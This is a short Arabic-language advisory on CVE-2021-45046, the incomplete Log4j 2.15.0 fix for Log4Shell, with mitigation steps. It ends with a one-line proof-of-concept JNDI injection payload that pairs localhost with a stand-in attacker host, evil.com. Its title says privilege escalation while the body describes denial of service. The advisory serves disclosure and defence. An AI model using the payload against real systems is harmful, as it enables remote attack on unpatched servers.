
Log4j 2.15.0 تصعيد الصلاحيات -- CVE-2021-45046

تم اكتشاف أن الإصلاح الذي تم تطبيقه لمعالجة CVE-2021-44228 في Apache Log4j 2.15.0 كان غير مكتمل في بعض التكوينات غير الافتراضية. وهذا قد يسمح للمهاجمين الذين يسيطرون على بيانات إدخال Thread Context Map (MDC) عند استخدام تكوين تسجيل بتنسيق Pattern Layout غير افتراضي مع Context Lookup (على سبيل المثال، $${ctx:loginId}) أو نمط Thread Context Map (%X, %mdc, أو %MDC) لصياغة بيانات إدخال ضارة باستخدام نمط JNDI Lookup مما يؤدي إلى هجوم حرمان من الخدمة (DOS). يحد Log4j 2.15.0 من عمليات بحث JNDI LDAP إلى المضيف المحلي (localhost) بشكل افتراضي. لاحظ أن التخفيفات السابقة التي تتضمن تكوينًا مثل تعيين خاصية النظام log4j2.noFormatMsgLookup إلى true لا تخفف من هذه الثغرة المحددة. يعمل Log4j 2.16.0 على إصلاح هذه المشكلة عن طريق إزالة دعم أنماط بحث الرسائل وتعطيل وظيفة JNDI بشكل افتراضي. يمكن تخفيف هذه المشكلة في الإصدارات السابقة (<2.16.0) عن طريق إزالة فئة JndiLookup من مسار الفئة (مثال: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class).
Poc
${jndi:ldap://127.0.0.1#evil[.]com:1389/a}